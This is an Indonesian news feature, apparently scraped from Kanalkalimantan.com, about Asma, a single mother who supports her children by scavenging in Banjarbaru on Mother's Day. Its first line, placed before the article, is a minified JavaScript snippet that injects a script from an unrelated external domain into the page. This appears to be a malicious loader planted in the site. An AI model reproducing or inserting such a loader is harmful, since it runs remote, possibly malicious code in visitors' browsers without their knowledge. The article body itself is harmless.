(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Apa arti hari ibu bagi seorang Asma, perempuan yang menghidupi anaknya sebagai pemulung di Kota Banjarbaru? Barangkali tidak ada! Ya, tidak ada. Itu jika yang dijadikan ukuran adalah membanjirnya kata-kata klise di berbagai sosial media pada hari ini. 22 Desember. Kalian menyebutnya sebagai: Hari Ibu.
Tapi jika tolok ukurnya adalah tindakan, bagi Asma, itu adalah segala-galanya. Pada hari ini, semua memuja tentang sosok Ibu dengan berbagai kata, puisi, — dan barangkali juga hadiah, bagi yang punya uang. Sesuatu yang manis, bagi Ibu tercinta. Dan, itu memang luar biasa!
Namun Asma, melihat Hari Ibu tidak dari sisi romantisnya.
Tuntutan hidup, tak memberikan ruang bagi Asma untuk menulis puisi. Tapi menggunakan daya tenaganya untuk menarik gerobak. Menyusuri sepanjang Jalan A Yani KM 34 dan seputaran pasar Bauntung Banjarbaru. Dia bekerja sebagai pemulung barang bekas untuk mengais rezeki Rp 20 ribu hingga Rp 30 ribu tiap hari dari hasil penjualan kardus dan plastik.
Asma yang asal Madura, Jawa Timur, pergi meninggalkan kampung halaman demi mencari nafkah di Banjarbaru. Ia membawa serta kedua anaknya, setelah ditinggal pergi oleh suaminya. Setiap hari, Asma mengajak serta anaknya yang paling kecil, berusia 5,5 tahun, untuk memulung.
“Anaknya tidak Sekolah?†tanya Kanalkalimantan.com menelisik.
“Kami ke sini baru tiga minggu. Anak saya yang pertama usia nya 13 tahun terpaksa putus sekolah. Sekarang dia hanya tinggal di rumah bantu-bantu bos,†ujarnya.
Dengan segala kekurangannya, Asma tetap perkasa menjaga dan menghidupi anak-anaknya. Itu terlihat, saat pagi itu mereka berhenti di sebuah jalan. Asma membuka bungkusan nasi, dan memberikan kepada anaknya yang paling kecil.
Lalu, anaknya tersebut makan nasi dengan lahapnya. Si kecil mungkin tahu, bagaimana perjuangan sang ibu untuk mendapatkan nasi bungkus. Hingga dia tak mau menyisakan satu bulir nasi pun dari tangannya.
Di tempat terpisah, pagi itu Kapolres Banjarbaru AKBP Kelana Jaya melaksanakan upacara Peringatan Hari Ibu di Mapolres Banjarbaru yang dihadiri para anggota Bhayangkari dan jajaran lainnya. Dia membacakan amanat Menteri Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia Prof Dr Yohana Yambisae.
Intinya, mengajak semua kaum perempuan untuk maju terus, mampu menjadi sosok yang mandiri, kreatif, inovatif, percaya diri dan meningkatkan kualitas kapabilitas dirinya. Dengan demikian, bersama laki –laki menjadi kekuatan yang besar dalam membangun keluarga, masyarakat, dan negara. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.